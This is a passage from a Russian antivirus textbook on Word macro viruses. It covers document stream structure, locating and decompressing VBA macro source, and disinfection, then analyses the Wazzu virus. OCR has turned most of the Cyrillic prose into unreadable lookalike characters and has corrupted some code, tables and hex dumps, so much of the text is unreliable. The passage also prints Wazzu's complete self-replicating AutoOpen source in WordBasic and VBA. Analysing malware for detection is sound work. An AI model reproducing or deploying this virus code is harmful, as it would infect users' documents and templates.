KU BHYTPEHHUX U BHENIHUX UMEH, OIUCATEeId MEHIO U Ipyras nHhopma-
1Us1, KOTOPAst TAKIKE MOKET ObITh UCIOIb30BAHA ITPU BOCCTAHOBJIECHHUU UC-
XOJIHOTO TEKCTa MAKPOCOB. 3aKaHUMBAETCSA MAKPO3aroioBok Gaiitom 40h.
TaxuM 06pa3oM, «ITyCTOi» MAaKPO3aroJOBOK COCTOUT M3 JIBYXOAHTOBOTO
cmoBa 40FFh.
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VauBHTEIbHO, HO IIpOrpaMMuUcThbl (hrpmbl Microsoft, cosmaBasiine MS
Word Bepcwuii 6.0 u 7.0, camu curTanu HOTOKOBbII (hOPMAT «CTPYKTYPUPO-
BaHHBIX XPAHUJIUII> CJUIITKOM CJIOKHBIM, U B T€X CIIy4astX, KOT/Ia 3TO MPE/i-
CTaBJISAIOCH BOBMOJKHBIM, CTAPAJIUCH 0OPAIaThest K hparMeHTam JJOKyMeH-
Ta HAIIPAMY0. MOKHO IIPOBECTU CIEAYIOMNI «Oe3yMHBII» SKCIIEPUMEHT:

O mailitu 10 curHatype B aiine cTapToBblil ceKTop moToka « Word-

Documents;
Q HampsMyIo yKasaTh B HEM MPUSHAKK MIAGJIOHA ¥ HATUYUSA MAKPO-
COB, 2 B KQueCTBe ajipeca MaKpo3aroJoBKa ykaszaTh KOHell (haiija;
O wrHopupyst Ji0Oble MPABUJIA «CTPYKTYPUPOBAHHDBIX XPAHUJIHIIY,
MIPOCTO JIONKCATHh K KOHITY (haiiia MpaBuibHO 3arlOJTHEHHBIN MaK-
PO3aroJioBok u «p-code» Makpoca.

Ecian Teneps 3arpysutsh B MS Word 6.0/7.0 MmoaguduimpoBanHbiii 10-
KYMEHT, TO Makpoc BbinosHutcs! IIpumepHo Tak 3apaskai IOKYMEHTBI
(aitnosbiii Bupyc Anarchy.6093.

Wtak, B 4eM ke 3aKJIOYAETCS <«JeyeHUe» 3apPaKeHHOro JOKyMeHTa?
B saronoske noroka «WordDocument» HeoOX0auM0O ¢OPOCUTH IIPU3HAK
mab/I0Ha, a BMECTO Makpo3arosioska samucarh kox 40FFh. Kak anprepna-
THBA: HE TPOTaTh MaKPO3aroJoBKa, a IPOCTO YKA3aTh B HEM HYJIEBOE KOJIU-
yecTBO MakpocoB. < Bce, u TesiemapkeTrs !

5.4.3.2. Maxpocor na azvike VBA

ITo npasuiam MS Word 97, 1oKyMeHT pacKugaH 110 psily IIOTOKOB:
TEKCT OTIENHHO, KAPTUHKH OTAETHHO, MAKPOCHI OTAETHHO, CIyKeOHas IH-
dhopmarnust oresabHo u T. 1. Takum o6pasom, HabOp U Ha3HAYEHUE TIOTO-
KOB COCTaBHOTO (paiiyia CUJIbHO 3aBUCST OT TOTO, MMEIOTCS JIN B IOKYMEHTE
KapTUHKH, MHTETPUPOBAHBI JTM BHYTPb MAKPOCHI U T. II. BOT Tak BBITJIAAUT
CTPYKTYpa «IIyCTOr0» I0KyMeHTa (cM. Tabu. 5.4.).

Tabnuuya 5.4. Katanor nyctoro xpaHnnauuia,

cosgaHHoro B MS Word 97

# Uma Tun | Jles. | Mpas.. | NMeps. | Ctapt | AnuHa | UBeT

0 | RootEntry 5 -1 -1 3 24 80 1

1| 1Table 2 -1 -1 -1 8 1000 0

2 | WordDocument 2 5 -1 -1 0 1000 1

3 | /5Summarylnformation | 2 2 4 -1 10 1000 1

4| /5SDocumentSummary- | 2 -1 -1 -1 18 1000 1
Information

5 [ /1CompObj 2 1 6 -1 0 6A

6 | ObjectPool 1 -1 -1 -1 0 0 0
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A BOT, U1 CPaBHEHUS, TUIIUYHBIN KATAIOT JOKYMEHTa, MMEIOIIEro Pu-
CYHKH, TAOJIUIIBI ¥ K TOMY K€ 3aPasKeHHOTO MaKPOBUPYCOM (CM. TabI. 5.5).

Tabnuuya 5.5. Katanor xpaHunuwa ans AOKyMeHTa,
3apa>eHHOro MakpoBuUpycom

# Uma Tun | Jles. | Mpas. | Mep.. | CtapT | AnuHa | LiBeTt
0 |Root Entry 5 -1 -1 3 24 2180 1
1 | 1Table 2 -1 -1 -1 8 1E1F 1
2 |WordDocument 2 5 -1 -1 0 1C1E 1
3 | /5Summarylnformation | 2 2 4 -1 10 1000 1
4 | /5DocumentSummary- | 2 -1 -1 -1 18 1000 1
Information
5 | Macros 1 1 11 10 0 0 0
6 |VBA 1 -1 -1 8 0 0 0
7 | ThisDocument 2 -1 B -1 0 3C5 1
8 | NewMacros 2 9 7 -1 10 555 1
9 |_SRP_2 2 D A -1 26 54 0
10|__SRP_3 2 -1 -1 -1 28 6D 1
11 | _VBA_PROJECT 2 -1 -1 -1 2A B28 0
12 | dir 2 -1 -1 -1 57 2D2 0
13|_SRP_O 2 C E -1 63 55B 1
14| _SRP_1 2 -1 -1 -1 79 91 0
15 | PROJECTwWm 2 -1 -1 -1 7C a7 0
16 | PROJECT 2 6 F -1 7E 177 1
17 | /1CompObj 2 -1 12 -1 84 6A 1
18 | ObjectPool 1 -1 -1 -1 0 0 0

5.4.3.3. Buo u pacnonoxcerue VBA-maxpocos

Maxpochbl B 1OKyMeHTe, co3ganioM cpeactsamu MS Word 97, npen-
CTaBJIEHBI B Pa3HO0Opa3HbIX GopMax u pazbpoCaHbI O PA3HBIM TIOTOKAM.

Bo-mepBbIX, B IOKyMEHTE XPAaHATCH UCXOJHBIE TEKCTBI MAKPOCOB, JIJIS
SKOHOMUHM MecTa yrnakoBaHHble ajroputMoM LZNT1 (ato onHa u3 pas-
HOBUJIHOCTEI KJ1accuyeckoro Metojia LZ77), — moaToMy ux BHyTPH JIOKY-
MEHTA He BUJIHO «Ha TIPocBeTs. OObIYHO OHU 3aHUMAIOT KOHEI[ HEKOTOPO-
ro motoka. Ecjii mporpaMMuUCT COXpaHUJI CBOU MAaKPOCHI B CTAHAAPTHOM
Mmojysie «NewMacros», TO HCXOJHbIE TEKCTBI OYAYT PACIOJIOKEHBI B
MIOTOKE € 3TUM ke nMeHeM. Eciii moJsib30BaTesb co3zaeT A0TOTHUTEb-
Hble VBA-Moyiu ¢ yHUKaJIbHBIMA UMEHAMM, TO B IOKYMEHTE TTOSBST-
Cs1 COOTBETCTBYIOIIHE UM ITOTOKU, U HCXO/HBIE TEKCTBI OY/IyT OMEIIEHBI
WMEHHO B HUX. A €CJIM MOJIb30BAaTEJNb TTOMEIIAET CBOM MAKPOCHI B «MO-
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JIYJIN KJIACCOB», TO MX MCXOJHBbIE TEKCTBI OKAKYTCS B TIOTOKE ¢ MMEHEM
«ThisDocuments». OTJIMYUTENbHBIM TIPU3HAKOM IIOTOKOB, B KOTOPBIX
«CIIPSITAHBI» MCXOJ[HbIE TEKCTHI MAaKPOCOB, SIBJISIETCS] YeThIpexOaiiToBast
curnarypa 00011601h, paciiosiokeHHas B caMoM Hayajie OTOKa.

Bo-BTopbiX, B JI0KyMeHTe XpaHutcs «p-code» MakpocoB. Pasymeer-
Csl, KOJIbI SI3bIKOBBIX KOHCTPYKIME VBA oTimyaiorcst oT KOJOB s3bIKa
WordBasic, ucnonbzoBanubix 8 MS Word 6.0/7.0. Makpocst, 3aK0/u-
POBaHHBIE TAKUM 00PA30M, XPAHSTCS B TEX JK€ MOTOKAX, YTO U UCXO/HbIE
KOJIbI, TOJIBKO B JIPYTOM MeCTe — T/[e-TO OJIMKe K HAYaJIy MOTOKA.

Haxonell, B 1oKyMeHTe XPaHUTCS TOJHOCTBIO OTKOMITUJIMPOBAHHDII
KOJI MaKpPOCOB, MO/ITOTOBJIEHHDII /I BBIITOJIHEHNS HA BUPTYAJbHOW Ma-
mute. Boobie roBopst, aTOT UCHONHAEMBIH KO/ Ui OIHOTO U TOTO e
MCXOJHOIO TeKcTa OyAeT pasHbIM B 3aBMCUMOCTH OT Toro, B MS Word 97
i MS Word 2000 6b11 co3iai JOKYMEHT, — IIOCKOJIBKY B HUX HCIIOJIb3Y-
I0TCS HEMHOJKKO Pa3/inyaioniecs BUPTyaibHble Malnubl. Vcroansembre
KOJIbI XpaHATCS B MOTOKaX ¢ uMmenamu Buga <« SRP 0», «  SRP 1»,
«__SRP_2» u 1. n. Unurepecno, uto, Haiijisl B (ailie «HelpaBUiIbHbIE»
WM «UCHOPYEHHBIe> UcosHsAeMble koAb, MS Word mosker obparutsb-
s 32 CIIPABKOM K «p-code», 3aHOBO OTKOMITUJIMPOBATH €10 U 3aTEM YIKe
3aIyCTUTH Ha BBIITOJIHEHNE Pe3yJIbTaT.

Taxum 06pa3oM, Ui TOTO YTOOBI HY O/[HA U3 <UIIOCTACEH» MAKPOBUPY-
ca He BBITIOJIHUJIACH, YAAJIATD HA/lO CPa3y BCe.

5.4.3.4. Ilouck VBA-maxpocos

Kak ske ompeesaurb, 3apaskeH JOKYMEHT KaKUM-JU0O0 BUPYCOM WU
ner? Crnocobos cymiectsyer Muoro. Camblil IIPOCTOI CKJIAAbIBAETCSA U3
CJIEJTYIONINX IaTOB:

1) mpockaHupoBaTh B IUKJIE BCE TOTOKK JIOKYMEHTA;

2) B mortokax, HaunHatotuxcs ¢ curaarypbt 00011601h, waiitu dpar-

MEHTBI C UCXO/ITHBIMU TEKCTaMU MaKPOCOB;
3) pacmakoBarb GJOKM MAKPOCOB ¥ IIPOBECTH PACIIO3HABAHIE BUPYCOB
10 UCXOTHOMY TEKCTY.

Bripouewm, ecsii Bupyc He noauMopdHBIH, 1ar 3 Ha aTare [eTeKTHPO-
BaHUs He oOsizaTesieH. OTHO3HAYHO PACIIO3HATH BUPYC BIIOJHE MOKHO U
10 yIaKOBaHHOMY Koxy. Tem He MeHee MTPOJIeMOHCTPUPYEM BBITIOTTHEHME
maroB 2 ¥ 3 Ha KOHKPEeTHOM TpuMepe. BoT aMit moToka, B KOTOPOM Xpa-
HUTCS TEKCT HEKOETO TIOZI03PUTETHHOTO MAaKpOca.

0000 01 16 01 00 02 B6 00 FF FF 01 01 00 00 00 00 FF ..... 189, ... g

0010 FF FF FF 00 00 00 00 FF FF 3C 00 FF FF 00 00 57 qqaqa....qaa<.aq..W
0020 37 BC 8E 06 40 D7 11 9E E3 B9 19 03 D8 98 56 1C 7jh.@4.nrhe. .l V.
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>

0450 05 00 48 65 6C 6C 6F 00 41 40 1E 02 01 00 FF FF ..Hello.A@....q%
0460 FF FF 68 00 00 00 01 B1 BO 00 41 74 74 72 69 62 ash.... *° Attrib
0470 75 74 00 65 20 56 42 5F 4E 61 6D 00 65 20 3D 20 ut.e VB_Nam.e =

0480 22 54 68 69 00 73 44 6F 63 75 6D 65 6E 10 74 22 "Thi.sDocumen.t”
0490 0D OA OA 8C 42 61 73 01 02 8C 31 4E 6F 72 6D 61 ...#bBas..bINorma
04A0 6C 02 2E 19 56 43 72 65 61 74 61 04 62 6C 01 60 1...VCreata.bl."
04B0 46 61 6C 73 65 01 0C 96 50 72 65 64 65 63 6C 12 False..-Predecl

04C0 61 00 06 49 64 00 78 54 72 75 81 0D 22 45 78 70 a..Id.xTrul. "Exp
04D0 6F 73 65 14 1C 00 54 65 6D 70 6C 61 74 65 20 44 ose...Template D
04E0 65 72 69 76 15 24 43 75 CO 73 74 6F 6D 69 7A 04 eriv.$CuAstomiz

04F0 87 03 63 00 53 75 62 20 4D 61 69 6E 00 28 29 0D £.c.Sub Main. ().
0500 OA 4D 73 67 42 00 6F 78 20 22 48 65 6C 6C 42 6F .MsgB.ox "HellBo
0510 00 77 45 6E 64 20 80 OF 0D 00 OA 16 00 31 1D 00 .wEnd B...... 1..
0520 0C 00 24 00 00 00 FF FF FF FF FO 02 00 00 01 00 ..$...asaqaqp.....

B navaje moroka pasmeniaercs xapakrepHas curiarypa «01 16h 01
00», caezoBaTesIbHO, Mbl Ha IIPABUJIBHOM IIyTH. I71e-To B 1iepBoil yacTu
MOTOKA Pa3MeIaeTcst «p-code» Makpoca, HO Ha HETO HE MMEET CMBICJA
OTBJIEKATHCS. 3aTO JIETKO MOKHO HAMTU YITAKOBAHHBIN MCXOIHBII TEKCT.
On naunnaerca ¢ macku Bujia <01 YZ BX», rne «XYZ» npejcrasisier
co6oil IMHY ynakoBaHHOTo (parmeHTa (Tak HasbiBaeMoro <«chunk»’a,
UMEBIIIEro 10 yIakoBku aauny 4096 Gaiitos) Ges camoil macku. MHorza
3a epBbIM (ParMeHTOM PACIIONIOKEH BTOPOIA, TPETHUIT U T. [I., BCE OHU Xa-
paktepusyiotcst Mmackamu Buza <00 YZ BX». Mrak, B paccMatpuBaeMom
npuMepe 1o cMenieHuno 466h pacionararores xapakrephbie 6aiiter «01 B1
B0», koTopbie MOTYT GBITH HHTEPTIPETHPOBAHBI KaK HAYAIIO YITAKOBAHHOTO
dbparmenra aaunoit 0B1h=177 6aiitos'.

5.4.3.5. Pacnaxoexa VBA-mexcma maxpocos

Kax pacmakosbiBaTh ucxonHbiii Tekct? Ecom antuBupyc paboraer
B OIEpalMoOHHBIX cucTeMax cemeidictBa Windows NT, To MoXHO Boc-
nosbsoBarbesas API-dyuxumeii «RtlDecompressBuffer», pacionosxkentoit
B 6ubmoreke «NTDLL.DLL». Eii nysHo yKasaTh azpec 1mepBoro Gaiita
YIaKOBaHHOTO (hparMeHTa U Tepeiath BHIXOAHON Gydep monHHee, Bee
OCTaJbHOE OHA C/IeJIACT caMa:

typedef UINT (WINAPIx RTLD) (ULONG PVOID ULONG PVOID ULONG PULONG)
RTLG RtlDecompressBuffer;

LoadlLibrary("ntdll.d11");

! Ecim Het jKeJlaHUSI MCKATh HAYAJIO0 YIaKOBaHHOTO «chunk»’a o MacCKke, MOKHO

PpaciiakoBaTb ITOTOK «Dir> n «BbITAlIIUTb» €r0o TOYHYIO IMO3UIHIO.
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h = GetModuleHandle( 'ntd11l.d11");

Rt1DecompressBuffer = (RTLD) GetProcAddress(h, "RtlDecompressBuffer”);
Rt1DecompressBuffer(2, TargetBuffer, 4096, SourceBuffer, 4096, &n);
printf("PacnakoBaHHas anuHa: %u 6aiToB ", n);

Ho ecoiu antuBupyc paboraer 8 Windows 9X, ro 6ubsmoreka «<NTDLL.
DLL» B aToil Bepcun umeercs, a Hy:kHoil gyukiun B Heil ner. ITpuzer-
s TIMcaTh COGCTBEHHYIO MTPOrPaMMY /Il PACTIAKOBKU. J[JIs 9TOTO BasKHO
MOHSTD, KaK yImakoBaHbl JaHHble MeTo/ioM LZNT1. IIponemoncTpupyem
IPUHITUIBI CXKATUS HA TPUMEPE PACCMOTPEHHOTO BBIIITE [aMITA.

Baiit 0. [00] — coaysxebHbIii 6aiit. Kaxplit ero GUT COOTBETCTBYET O]
HoMy 13 8 cienyromux G6aiiTo. B HameM ciyyae oHu Bee paBHbI 0, 1 9T0
03HAYaeT, uTo caeayoliue 8 6aliTOB — «<HOPMAJIbHBIE», OHU JIOJIKHBI OBITH
MTPOCTO CKOTIMPOBAHBI B BBIXOIHO MOTOK.

Baiiter 1-8. «Attribut» — aTu GaliThl IPOCTO KOIUPYIOTCS B BHIXOAHOM
MOTOK (€3 M3MeHEeHNSI.

Baiit 9. [00] — cHOBa ciyskeOHbIii 6aiiT aHAIOTMYHOIO HA3HAYEHMSL.

Baiiter 10—17. «e VB_Nam» — KOIUpYIOTCSA B BBIXOJHON ITOTOK.

Baiit 18. [00] — cHOBa carysKeOHBII GafiT AaHATIOTHYHOTO HA3HAYEHIS.

Baiiter 19—-26. «e = «Thi» — KOIMPYIOTCS B BBIXOIHOII IIOTOK.

Baiit 27. [00] — cHOBa carysKeOHBIH GAfiT AHATIOTHYHOTO HA3HAYEHTIS.

Baiiter 28—35. «<sDocumen» — KOMUPYIOTCs B BBIXOIHOMN MTOTOK.

Baiit 36. [10] — cayxxebubiii 6aiit 00010000, B KoTopoM 4-ii 6ut pasen
1. 910 03HauaeT, uTO Hasee 4 Gaiita «<HOPMAJIBHBIX», IIOTOM OyzeT 16-6u-
TOBAst «CCBIJIKA», TOTOM OIISATh 3 «<HOPMAJIbHBIX» OaiiTa.

Baiiter 37-40. «t><CR><LF>» — ueThlpe «HOPMAJIbHbBIX» GaliTa, KO-
MUPYIOTCST B BBIXOJHOI MOTOK.

Baiiter 41-42. [0A][8C] — anoncupoBanuas Boite 16-6utoBast cebli-
Ka Ha paHee yXe BCTPETHBIIMICS «obpasel». DopMar cChUIKM — Tepe-
MEHHBII: B HaUaJIe yIIaKOBaHHOTO (hparMeHTa 4 GUTa OTBOJSTCS HA JJIHHY
«o6pastia», 12 — Ha ero aapec; 6amKe K cepenne (hparMeHTa Ha JIJIHHY
orBoauTCs 5, a Ha azpec — 11, motom 6 u 10 u . 1., a g KoHa ¢par-
MenTa — 12 u 4. Utak, croso 8COAh=1000110000001010 o3rauaet, 4TO
[0Ah] — nnuHa obpasia MUHYC TPH; BCe OCTaJbHOE — OTHOCUTEJIbHbIN
azipec MUHYC 1, KOTOPBIIl OTCYMTHIBAETCS HE OT HAayasa JIAHHBIX, a Ha3a/l
ot Tekyuieil nosuiu. To ectb 0000001010 = 0Ah coorBercTBYyeT mHe
13,2 100011 coorBercTByeT nosutinu «40 Hazaj ot tekyueii». CooTBer-
cTBeHHO, OepeM 13 GaiitoB «obOpasitay u3 mosunuu 1 (crpouky 'Attribute
VB_ ") u konupyeM B BbIXO/IHOI (hparMeHr.

Baiitol 43—45. «Bas»... u 1. 1. ITonpobyiite, paciakyiite gablie BeCh
«IYHK» CAMOCTOSTETHHO!
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5.4.3.6. Yoanenue VBA-maxpocos

Terepb pacCMOTPUM BOTIPOC, KaK «JIEUNUTh» OOHAPY/KEHHBIE B IOKYMEH-
Tax BUpychl. B Hauasie noroka « Word Document» pasmertaercst 60JbImoi
sarosioBok FIB (File Information Block — Biiok undopmarmu o daiie),
B KOTOPOM JIJIst Hac HauboJiee MHTEPECHBI 1Ba 1oJist (cM. Tabi. 5.6).

Tabnuuya 5.6. lNons 3aronoeka FIB

CwmeleHue | AnuHa Ha3HayeHune
15Ah 4 CMelLLeHMe CTPYKTYPbI, ONUCHIBAOLLEN MAKpPOCh!, B MOTOKE
«1Table»
15Eh 4 JnnHa CTpyKTypbl

[Tosiesno npouutupoBarh «(PUpMEHHOE» ONKMCAHNWE BTOPOTO U3 3THUX
oJieii, SIpKo Xapakrepusylolee oTHomenre Microsoft k pasriarieHuro
CBOUX CEKPETOB:

Undocumented size of undocumented structure not documented
above. (HenokyMeHTUpOBaHHbIVI pas3mMep HENOKYMEHTUPOBAHHOM
CTPYKTYPbl, KOTOPAs Bbillie HE JOKYMEHTUPOBaHa.)

B mnotoke «1Table» xpaHsaTCs cBefeHUsT O PACIIONOKEHUN U MMEHAX
Bcex Makpocos'. Jliobas npaBuibHasg TabauIa MaKpPOCOB HAYMHAETCS
¢ 6aiita FFh u sakanuusaercst 6aiitom 40h. Takum o6pasom, JJist OUUCT-
ki otoka «xTable» Moskwo B 3aromoBke «WordDocuments yCTaHOBUTH
JUIMHY 2, a 3ape3epBupoBaHHoe B 10TOKe «x Table» moa onmucarenn mak-
POCOB TI0JIe «IIOYUCTUTH», TOMeCTUB B Hauasno cioBo 40FFh (mpushak
«TIyCTOI» TaOIIHUIIBT).

Kcratu, oueHb moxosxke «MmyxJjeBai» pupyc Macro.Word97.Xaler (ou
ke W97M.Lexar), sacrasisisi BerpoeHubiii B MS Word anTuBupyc mc-
KaTb OIMCATEIM MAaKPOCOB TaM, TJIe UX He OBLI0. AHTUBHUPYC OTKA3BIBAJICS
ONOBENIATh O HAJIMYMU MAaKPOCOB, a BOT BUPTyasbHas MaruHa Oblia 6o-
Jiee HeJIOBEPUMBON, OOHAPYKUBASI M UCITOJIHSISI MAKPOCHI U3 TOTOKOB, OITH-
CaHHBIX B TI0JI/lepeBe, HaunHaIeMcs ¢ nogkrarasora «Macross. [ToaTomy
3aBEpINAIONIMM MIATOM JIeUeHus aBasercs «VBA-akromus», To ecthb ya-
JIEHWE M3 JIOKYMEHTa BCEX MOTOKOB, CBSI3AHHBIX C MAKPOCAMM... HY WJIN
X0Ts OBI MX 00111eTO KOpHST — KaTajora «Macross». JloctatouHo mepenme-
HoBaTb ero (Hampumep, B «Killed»), u BupryasibHast MamuHa He Haiiger
B JIOKYMEHTE HUYETO, TPEAHAZHAYCHHOTO JI/IS1 BBITTOJTHEHUSI.

! UMuoraa norok HaspiBaetcst «0Tables, B aToM ciryuae coporen B 0 6utoBbiii (puia-
JKOK B TI0JIE 3aT0JIOBKA 110 cMetieHnto 0XA.
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Pasymeercst, ONMUCAHHBII BBIIIE CIIOCOO OOHAPYKEHUST W yIaJeHUs
MaKpOBUPYCOB — /IaJIEKO He €JIMHCTBEHHBIH.

S.S. MNpumep aHaAn3a N yAaneHUs
KOHKpPEeTHOro MakpoBWpYyCa

Mumuxpodonos ne cmoum 6viCAEICUCAMD U HA-
nadamv na nux umenno cnpasd... K num moocno
nPOCMo NOAOTIMU U eCMb — ¢ X60CMA UNU C 2010~
8bL, Kax y200Ho.

A. u B. Crpyrankue. «<Houb na Mapce»

[IposeMOHCTPUPYEM Ha KOHKPETHOM MIPUMEPE OCHOBHBIE TPUEMBI, KOTO-
pble MOKHO UCIOJIb30BATH TIPOTUB MAaKPOBUPYCOB. I1ycTh 0OBEKTOM JJIst
[IOKa3aTeJNbHOTO «BCKPBITHST» TIOCIYKUT HECJIOKHBIN MakpoBupyc Wazzu,
KOTOPBII CyliecTByeT B 000uX BapuaHTax — U Ha si3bike WordBasic st
MS Word 6.0/7.0 (Macro.Word.Wazzu), u #a siabike VBA 1711 MS Word
97 (Macro.Word97.Wazzu).

5.5.1. NonyyeHne n aHanu3 UCXOOQHOrO TEKCTa

Nmest 3apakeHHBIHN TOKYMEHT, NCXO/IHBIH TEKCT MaKpOBUPYCaA TTOJYUYNUTD
HECJIOKHO. BOJIBITHHCTBO BUPYCOB MO3BOJISIIOT YBUAETH CE0ST B PEIAKTOPE
MaKpOCOB, JIOCTYITHOM depe3 MeHIo «CepBuc = Maxpoc ...». Ecim xe 310
HEBO3MOKHO (Harpumep, ecan makpoc st MS Word 6.0/7.0 sammudpo-
BaH mym Makpoc st MS Word 97 odopmiteH Kak «KIacc» ), TO MOKHO
<BBITAIUTb» U BOCCTAHOBUTD MCXOJHBIN TEKCT TPOTPAMMHO.

Ilnst jokymenTa B hopmare MS Word 6.0/7.0 Heobxommo:

QO wu3BJIEYD U3 CTPYKTYPUPOBAHHOTO XPAHUJIHIIA TOTOK 110/l HA3BAHU-
eM «WordDocument»;

O B FIB-3arosioBke noroka 1o cmenernio 118h naiitu agpec makpo-
3aroJioBKa, 00PATUTHCS K HEMY U HOJIYYUTh JJOCTYII K (DparMeHTy
MOTOKA, XPAHSIIEMY JIBOMYHBIN KOl MAaKPOCOB;

QO ecom Makpochl 3amn@poBaHbl, TO pacimdpoBaTh Ux;

O  10Jb3ysICh TAONUYKOI «P-KOLOB», PACKOAUPOBATH MAKPOCHI — T10-
JIYYUTDb UCXOHBIN TEKCT.

MoskeT BO3HUKHYTH BOIPOC: TJ€ B3sITh TabJUUKY <«P-KOJ0B»? Bo-
nepBbIX, B Marepuasax Maprtuna IlIBapiia, mocBSANIEHHBIX «(ailoBoi
cucreme Laolas. Bo-BTopbIx, B HCXOAHBIX TekcTax yTusutsl SigTool, mpu-
JaraemMbix K antusupycy ClamAV.
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s nokymenra B popmate MS Word 97 3agaga mosryueHns KCXOQHOTO
TEKCTa MAKPOBHUPYCA €IIIe MPOIIIE:

O
O

o

IPOCKAHKMPOBATh BCe MOTOKM Ha Hasmyre curaatypsl 00011601h;
BO BCEX TAKUX MIOTOKAX HAMTH (DparMeHT, HAUMHAIOIIMICS ¢ CUTHA-
Typsl Buga <01 YZ BX»;

pacrnakoBath 3TOT (hparMeHT, «CxKaThiii» Mmetogom LZNT1, — nosry-
YUTh UCXO/IHBIN TEKCT.

[IporpammubIe 1poleypbl, peaanusyiolue 3Ty [MOCTe0BATETbHOCTD
JIeHICTBUIA, OUYeHb HECJO0KHO peasn3oBaTh caMocTositesbHo. Ho ecth u
TOTOBbIE TIPOIPAMMHBIE TTPOJIYKThI, KOTOPbIE TIO3BOJISIIOT «BBITACKUBATHY
HCXOIHBIE TEKCTBI MAKPOCOB U3 JOKYMEHTOB, 3JIEKTPOHHbBIX TabJIMII, IIpe-
3€HTAIUH U T. 11., HAITPUMED:

o

o

o

yruanta LWM ot Mike Janda (Tosbko st JoKyMeHTOB B popMate
MS Word 6.0/7.0);

nemoHcTparronHas yrunuta SigTool, mocrasisiemas BMecre ¢ an-
tuBupycoMm ClamAV B Bujie MCXOAHOIO TEKCTA;

cnoBaukuil antuupycusiii naker HMVS or J. Valky, L. Vrtik u
R. Marko.

Knaccnueckuii Bupyc Macro.Word.Wazzu HCKJIIOYUTENHHO IIPOCT,
4T0 00YCIOBUIO GOJIBIIOE KOJMYECTBO <MOAPAKAHUNA» U «PUMEHKOB>.

Onun

U3 CaMbIX <«JIaKOHMYHBIX» BapuaHToB Bupyca — Macro.Word.

Wazzu.gw — cocTouT U3 eJMHCTBEHHOTr0 Makpoca «AutoOpens:

Sub MAIN
On Error Goto MinSize

F$

FileName$() + ":aUTOoPen”

G$ = "Global:aUTOoPen”
M$ = UCase$(Right$(MacroFileName$(MacroName$(0)), 10))

If M$ =

"NORMAL.DOT" Then

MacroCopy G$, F$

Else

MacroCopy F$, G$, 1

EndIf
MinSize
End Sub

A BOT TaK BBITJISIIUT €T0 IBOMYHBIH «p-codes, PACIiooKeHHBII BHY TPH
notoka « WordDocuments u umetoruii jymnny 180 Gaiitos:

0BFO

0C00 2C
0C10 24
0C20 50
0C30 6C

01 00 64 1B 69 04 4D 41 49 4E 64 e.d....d.1.MAINd
2D 2A 69 07 4D 69 6E 53 69 7A 65 64 69 02 46 ,-~1.MinSizedi.F
0C 67 25 80 05 06 07 6A 09 3A 61 55 54 4F 6F $.g%A...j.:aUT0o
65 6E 64 69 02 47 24 0C 6A OF 47 6C 6F 62 61 Pendi.G$.j.Globa
3A 61 55 54 4F 6F 50 65 6E 64 69 02 4D 24 0C 1:aUTOoPendi.M$
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0C40
0C50
0C60
0C70
0C80
0C90

67 AF
6C 00
24 0C
67 C2
73 CB
24 12

05 67 09
06 06 12
0A 4E 4F
69 02 47
0C 6C 01
02 47 24

80
6C
52
24
00
12

05
0A
4D
12
64
60

67
00
41
69
20
01

8E 81 05 67 B8 80 05 gnA.g.A.g0b. g+A.
06 06 64 1D 69 02 4D 1..... 1. . d.iM
4C 2F 44 4F 54 1E 64 $.3.NORMAL.DOT.d
02 46 24 64 67 54 00 g-Ai.G$.1i.FS$dgT.
64 67 C2 80 69 02 46 s-..1..d dg-Ai.F
00 64 54 65 07 4D 69 $.1.G$.1..dTe.Mi

0CAO 6E 53 69 7A 65 19 64 1A 1B

BapuanT 3T0TO Xe BUpYyCa, «<KUBYIIHii» B qokymerTtax MS Word 97,

BBITJISIAT CJIELYIOIAM 00Pa3oM:

Public Sub MAIN()

Dim F$

Dim G$

Dim M$

On Error GoTo -1: On Error GoTo MinSize

F$ = WordBasic.[FileName$]() + ":aUTOoPen”
G$ = "Global:aUTOoPen”

M$ = UCase(WordBasic.[Right$](WordBasic.[MacroFileName$] \

(WordBasic.[MacroName$](0)), 10))
If M§ = "NORMAL.DOT" Then
WordBasic.MacroCopy G$, F$
Else
WordBasic.MacroCopy F$, G$, 1
End If

MinSize:
End Sub

Jlist MakpocoB, aBTOMaTHYECKH OTTpaHCAMpoBaHHBIX 13 WordBasic
B VBA, MS Word cosmaer BHyTpH ZOKYMeHTa OT/eJbHbIE IOTOKK C CO-
OTBETCTBYIOIIUMU WMeHaMU. TakuMm 06pa3oM, BUPYC CJEIyeT HCKATh
B motoke «aUTOoPen». Bor dhparmenT aToro nmotoka, copepskaniuii yma-

KOBaHHbﬁiTeKCTBprc&

0780 01 2F B1 00 41 74 74 72 69 62 75 74
0790 56 42 5F 4E 61 6D 00 65 20 3D 20 22 61
07A0 4F 6F 50 65 6E 22 0D OA 00 OD OA 50 75
07B0 63 00 20 53 75 62 20 4D 41 49 00 4E 28
07C0 44 69 6D A8 20 46 24 03 1C 47 04 OE 4D
07D0 4F 6E 20 45 72 72 6F 72 00 20 47 6F 54

00 65 20 ../ .Attribut.e
55 54 00 VB_Nam.e = "aUT.
62 6C 69 OoPen™..... Publi
29 0D OA c. Sub MAT.N().
00 OE 00 Dimm F$..G..M...
6F 20 2D On Error. GoTo -

[TepBblii ke B3IJIAA HA UCXOJHbIE TEKCTHI BUPYCA TIO3BOJIIET CJIEJIATh
BBIBOZI, UTO OH (BUpyc) paboTaer MO KJIACCHMYECKOIl cXeMe: Mojyda-
eT yIrpaBjieHue TIPHU 3arpyske Jo6oro MOKYMEHTa, OMpEIessieT, OTKYa
craprosai (u3 gokymenrta uwin us «<NORMAL.DOT»), u kommpyet cebs
B <IIPOTUBOIOJIOKHBIN» 06beKT (TO €cTh U3 TI06aTbHOTO 1abaoHa —
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B JIOKYMEHT, 11 Hao6opoT). Bupyc ne monmumopden, Ho sammdposan (B 10-
KyMmeHTax, co3fanubix B MS Word 6.0/7.0).

5.5.2. Pacno3HaBaHmne u ypaneHue makpoBupyca

YakoBaHHBIH TEKCT HeMoJUMOPMHBIX VBA-BUPYCOB MOCTOSTHEH 1 BCET-
JIa OZIHO3HAYHO COOTBETCTBYET HEyIMaKOBAHHOMY TEKCTY, TaK 4TO PACIIO-
3HaBaHME MOKHO TIPOU3BOUTE O€3 MCXOHOTO TEKCTA, HE BBITIOJIHSISI OT1e-
paIy pacIakoBKH.

A Bot HenonmmopdHble, HO 3amubposanHbie WordBasic-Bupycsr He
UMEIOT MOCTOSTHHOM CUTHATYPBI, TAK KAK MPU KAXKIOU OMEePAII KOIIIPO-
BaHUA MakpocoB 1pu oMot MacroCopy kiod st mugpoBaHus 1X
